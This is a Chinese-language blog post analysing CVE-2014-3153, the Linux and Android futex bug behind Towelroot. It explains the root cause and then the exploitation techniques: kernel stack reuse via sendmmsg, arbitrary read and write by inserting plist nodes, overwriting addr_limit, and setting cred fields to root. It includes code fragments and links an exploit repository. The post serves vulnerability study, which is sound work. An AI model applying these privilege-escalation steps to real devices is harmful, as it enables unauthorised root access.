2016-02-26

CVE-2014-3153内核漏洞分析

简介

漏洞是14年5月份爆，属于linux内核漏洞，影响范围非常广，包括linux系统（内核版本3.14.5之前）和andorid系统（系统版本4.4之前）。受影响的系统可能被直接DOS，精心设计可以获取root权限，如安卓root工具towel。

该漏洞主要产生于内核的 Futex系统调用，漏洞利用了 futexrequeue，futexlockpi，futexwaitrequeuepi三个函数存在的两个漏洞，通过巧妙的组合这三个系 统调用，攻击者可以造成futex变量有等待者，却没有拥有者，即所谓的野指针，通过函数栈填充，可以修改栈上的等待者rt_mutex中的数据，控制内核等待队列节点，通过插入节点的方式读写内核数据，达到提权目的。

这个漏洞网上分析文章比较多，详见参考文章，这里只记录自己在分析过程中踩过的坑和几个漏洞利用的技术点。

漏洞成因

漏洞主要利用的三个函数futexrequeue，futexlockpi，futexwaitrequeuepi，简单说明，详细自行google。

// 加锁的函数，在uaddr1上等待
futex_lock_pi (uaddr) 

//Wait on uaddr1 and take uaddr2 线程阻塞在uaddr1上，然后等待futex_requeue的唤醒，唤醒过程将所有阻塞在 uaddr1上的线程全部移动到uaddr2上去，以防止“惊群”的情况发生
futex_wait_requeue_pi(uaddr1, uaddr2)  

//Requeue waiters from uaddr1 to uaddr2 唤醒过程将所有阻塞在 uaddr1上的线程全部移动到uaddr2上去，以防止“惊群”的情况发生
futex_requeue(uaddr1, uaddr2)

uaddr在内核中会对应一个"等待队列"（其实是一个全局的队列），每个挂起的进程在等待队列中对应一个futex_q结构：

struct futex_q {
    struct plist_node list;             // 链入等待队列
    struct task_struct *task;           // 挂起的进程本身
    spinlock_t *lock_ptr;               // 保存等待队列的锁，便于操作
    union futex_key key;                // 唯一标识uaddr的key值
    struct futex_pi_state *pi_state;    // 进程正在等待的锁
    struct rt_mutex_waiter *rt_waiter;  // 进程对应的rt_waiter
    union futex_key *requeue_pi_key;    // 等待被requeue的key
    u32 bitset;                         // futex_XXX_bitset时使用
};

漏洞触发流程图： exploit-cve-2014-3153-1

1.线程线程A调用futexlockpi(B)获取锁B，

2.线程B调用futexwaitrequeuepi(A, B)阻塞在A上等待futexrequeue唤醒，

3.线程A调用futexrequeue(A, B)去唤醒B，但是B已经被锁，所以无法唤醒线程B，并进入内核态在锁B的任务队列中生成了一个rtwaiter节点

4.线程A将B置0重新调用futexrequeue(B, B)，此时成功获得锁B并返回，分支走向支会走向 requeuepiwakefutex，尝试唤醒等待的线程。

static inline
void requeue_pi_wake_futex(struct futex_q *q, union futex_key *key,
               struct futex_hash_bucket *hb)
{
    get_futex_key_refs(key);
    q->key = *key;
 
    __unqueue_futex(q);
 
    WARN_ON(!q->rt_waiter);
    q->rt_waiter = NULL;
 
    q->lock_ptr = &hb->lock;
 
    wake_up_state(q->task, TASK_NORMAL);
}

注意，这里线程B的futexq.rtwaiter被置NULL了。

5.线程B被唤醒，futexwaitrequeue_pi(A, B)执行成功。

static int futex_wait_requeue_pi(u32 __user *uaddr, unsigned int flags,
                 u32 val, ktime_t *abs_time, u32 bitset,
                 u32 __user *uaddr2)
{
    struct hrtimer_sleeper timeout, *to = NULL;
    struct rt_mutex_waiter rt_waiter;
    struct rt_mutex *pi_mutex = NULL;
    ...

    /* Check if the requeue code acquired the second futex for us. */
    if (!q.rt_waiter) {
        /*
         * Got the lock. We might not be the anticipated owner if we
         * did a lock-steal - fix up the PI-state in that case.
         */
        if (q.pi_state && (q.pi_state->owner != current)) {
            spin_lock(q.lock_ptr);
            ret = fixup_pi_state_owner(uaddr2, &q, current);
            spin_unlock(q.lock_ptr);
        }
    } else {
        /*
         * We have been woken up by futex_unlock_pi(), a timeout, or a
         * signal.  futex_unlock_pi() will not destroy the lock_ptr nor
         * the pi_state.
         */
        WARN_ON(!&q.pi_state);
        pi_mutex = &q.pi_state->pi_mutex;
        ret = rt_mutex_finish_proxy_lock(pi_mutex, to, &rt_waiter, 1);
        debug_rt_mutex_free_waiter(&rt_waiter);
         ...
}

在futexwaitrequeuepi函数中将会走后边的第一个分支，导致rtwaiter没有从q.pistate->pimutex摘除，从而导致了UAF。

漏洞利用

详细的漏洞利用过程网上的一些文章已经分析的很清楚了，这里只记录一些技术点。

修改内核数据

修改rt_waiter内容时候用的方法是栈复用，比如A申请了一个0x10大小的栈stack，A用完后stack的内容并不会在函数返回时清空，如果此时B再申请同样一个小小的栈，就会复用A申请的栈空间，利用相同的原理可以复用链表，详细的例子可参考其他分析文章。

在利用代码中，sendmmsg() API构造内核消息对象B，只要消息大小加上消息头的大小等于rtwaiter的大小， 那么这个消息很可能会重用rtwaiter占据过的内存。

其中sendmmsg() 函数栈上数据与rtwaiter的重叠部分为msgvec.msgname的部分内容和数据是iovstack（*（msgvec.msg_iov））的部分内容，所以填充这些地方的数据即可。

注意，当目标接受到数据后这个函数会立刻返回，利用代码中通过创建一个线程连接到本地端口，从该端口中接受数据，但是不执行读数据操作，形似：

bind()
listen()
while (1) {
      s = accept();
      log("i have a client like hookers");
}

就像将该函数hook掉一样，这个sendmmsg()函数将保存发送状态而不是立刻返回，从而保证数据能保留在内核栈中。

读写内核地址

读内核地址比较容易，通过控制进程优先级向fakenode节点插入前置节点，那么fakenode.node_list.prev即为插入节点的内核地址。

写内核地址稍微绕一点，通过控制进程优先级向两个节点中插入新节点，如下图所示： exploit-cve-2014-3153-2

优先级从右到左依次减小，比如分别取33，34，35，往中间插入优先级为34的新节点时，内核会先遍历这个链表，并获取优先级，内核遍历到fakenode节点，发现优先级为35，决定往fakenode节点前插入34，这个过程是

fake_node.prev.next = new_node;
new_node.prev = fake_node.prev;
fake_node.prev = new_node;
new_node.next = fake_node;

修改fakenode.prev即33的next指针内容为新节点地址，即写入了一个内核地址，所以可以通过修改fakenode.prev的值来写入任意地址。

提权

提权是通过修改自身线程的权限信息来达到修改权限的目的，但是要修改这些值就必须有读写权限。

这里有个threadinfo概念，每个线程都有一个线程栈，在栈的最底端存放这threadinfo结构体

struct thread_info {
    unsigned long flags;
    int preempt_count;
    unsigned long addr_limit;
    struct task_struct *task;
 
    /* ... */
};

其中addr_limit的值即用户可访问的最大内存地址，将这个值改为0xffffffff即可访问任何内核空间，从而能够修改权限。

如何或得这个地址？先来看下如何获取thread_info的地址。

static inline struct thread_info *current_thread_info(void) {
 return (struct thread_info *)
 (current_stack_pointer & ~(THREAD_SIZE - 1));
}

THREADSIZE为8192，因此threadinfo = $sp & 0xffffe000。 threadinfo = 栈地址 & 0xffffe000，所以& addrlimit = * thread_info + 8

然后通过上边写内核的方法可以改写addrlimit的值，但是有一个问题是，这个改写的值是rtwaiter的地址，而这个地址又是不可控的，所以造成的结果是改的这个值比原来的还小。

利用代码用了一个巧妙的方法，通过不断生成新的rtwaiter，并判断新的rtwaiter的值是否比要改线程的threadinfo地址大，如果大就能保证写进去的值比原来addrlimit值大，这样线程就有了访问自身addrlimit的能力，然后自己将addrlimit改为0xffffffff，伪代码如下：

rt_waiter_A = create_mew_rt_waiter();
thread_info_base_A = rt_waiter_A & 0xffffe000;
unsigned long * thread_A_addr_limit = & thread_info_base_A->addr_limit; 

while(1) {
    rt_waiter_B = create_mew_rt_waiter();

    if (rt_waiter_B > rt_waiter_A) {
// write rt_waiter_B to thread_info_base_A->addr_limit
thread_info_base_A->addr_limit = rt_waiter_B;
break;
    }
}

// thread A could write addr_limit
thread_info_base_A->addr_limit = 0xffffffff;

最后在该线程中通过修改线程的threadinfo.taskstruct -> cred -> secutiry进行提权，修改内容如下。

credbuf.uid = 0;
credbuf.gid = 0;
credbuf.suid = 0;
credbuf.sgid = 0;
credbuf.euid = 0;
credbuf.egid = 0;
credbuf.fsuid = 0;
credbuf.fsgid = 0;
credbuf.cap_inheritable.cap[0] = 0xffffffff;
credbuf.cap_inheritable.cap[1] = 0xffffffff;
credbuf.cap_permitted.cap[0] = 0xffffffff;
credbuf.cap_permitted.cap[1] = 0xffffffff;
credbuf.cap_effective.cap[0] = 0xffffffff;
credbuf.cap_effective.cap[1] = 0xffffffff;
credbuf.cap_bset.cap[0] = 0xffffffff;
credbuf.cap_bset.cap[1] = 0xffffffff;
securitybuf.osid = 1;
securitybuf.sid = 1;
taskbuf.pid = 1;

判断cpu进入内核

当系统调用syscall时，/proc/PID/task/TID/status中voluntaryctxtswitches会增加 在Linux中可以通过/proc看出cpu切入/切出次数， 比如 PID = 27288，用cat 命令搞一下：

 cat /proc/27288/status
 ...
 voluntary_ctxt_switches: 9950
 nonvoluntary_ctxt_switches: 17104
 ...

这里的9950和17104分别就是切入/切出 CPU的次数。 除了status之外，还可以看/proc/27288/schedstat 字段：

 cat /proc/27288/schedstat
 1119480311 724745506 27054

此处 27054 就是上面两个数值的和，代表切入切出总数值。

伪终端

通过创建伪终端读数据，使线程阻塞，在修改addr_limit的过程中就是通过这种方法进行等待修改。

HACKS_fdm = open("/dev/ptmx", O_RDWR);
 
unlockpt(HACKS_fdm);    // 允许对伪终端从设备的访问
slavename = ptsname(HACKS_fdm); // 函数用于在给定主伪终端设备的文件描述符时，找到从伪终端设备的路径名
open(slavename, O_RDWR);
...
read(HACKS_fdm, readbuf, sizeof readbuf);

伪造节点

利用代码中setup_exploit方法生成的两个可控节点方法：

static inline setup_exploit(unsigned long mem) {
    *((unsigned long *) (mem - 0x04)) = 0x81;   // prio = 129-120 = 9
    *((unsigned long *) (mem + 0x00)) = mem + 0x20; // rt_waiter9.prio_list.next = rt_waiter13
    //  + 0x04 = prio_list.prev
    *((unsigned long *) (mem + 0x08)) = mem + 0x28; // rt_waiter9.node_list.next = rt_waiter13.node_list
    // + 0x0c = node_list.prev
 
    *((unsigned long *) (mem + 0x1c)) = 0x85;   // prio = 133-120 = 13
    // + 0x20 = prio_list.next
    *((unsigned long *) (mem + 0x24)) = mem;    // rt_waiter13.prio_list.prev = rt_waiter9
    // + 0x28 = node_list.next
    *((unsigned long *) (mem + 0x2c)) = mem + 8;    // rt_waiter13.node_list.prev = rt_waiter9.node_list
}

这个是根据plistnode结构生成的两个节点，优先级分别为9和13，plistnode结构如下：

struct plist_node {
    int prio;   // 4
    struct list_head    prio_list;  // 0x8
    struct list_head    node_list;
};

整个利用代码都是通过向这两个节点中插入来读写内核的，其中参数long mem指向的是prio=9的prio_list，mem-4处填写的是其优先级。

arm移植x86

x86和arm唯一区别就是threadinfo结构不同，x86的threadinfo结构如下：

struct thread_info {
    struct task_struct  *task;          /* main task structure */
    struct exec_domain  *exec_domain;   /* execution domain */
    __u32           flags;              /* low level flags */
    __u32           status;             /* thread synchronous flags */
    __u32           cpu;                /* current CPU */
    int             preempt_count;      /* 0 => preemptable,
                                   <0 => BUG */
    unsigned long  addr_limit;
 
    /* ... */
};

所以稍作修改就能移植过去，代码参考https://github.com/lieanu/CVE2014-3153

总结

  1. 栈复用技巧（sendmmsg函数的使用）
  2. 利用链表达到任意地址写的技巧
  3. 修改addr_limit及cred技巧，利用技巧很通用，基本适合任何能够泄露内核地址的漏洞
  4. gdb内核调试

参考

Exploiting the Futex Bug and uncovering Towelroot cve2014-3153 漏洞之详细分析与利用 CVE-2014-3153笔记 The Futex Vulnerability

时间：

没有评论:

发表评论

订阅： 博文评论 (Atom)

Android Root Zap Framework

‎ 1. Warning 请遵守GPL开源协议, 请遵守法律法规, 本项目仅供学习和交流, 请勿用于非法用途! 道路千万条, 安全第一条, 行车不规范, 亲人两行泪. 2. Android Root Zap Frame...

  • 安卓注入框架Xposed分析与简单应用
    概述 Xposed是针对Android平台的动态劫持项目，源码 github 主要模块说明如下： Xposed ：Xposed的C++部分，主要是用来替换/system/bin/app_process，并为XposedBridge...
  • 安卓注入框架Xposed用法详解
        之前 安卓注入框架Xposed分析与简单应用 只是简单的了解了一下xposed框架，知道如何hook函数，并没有深入去使用，也不知道这个框架能用到哪种程度，最近详细的总结了下，简单来说就是，没有hook不到的地方，只有你想不到的地方。...
  • 安卓CPU,GPU,IO,缓存工作模式查看与修改
    CPU工作模式 简介 在android系统的耗电量排行里，cpu的耗电占了比较大的一部分比例，也就是说，cpu的使用率和使用频率将直接或间接的影响电量的分配和使用，同时也会影响系统的流畅度。android-sdk中没有为android...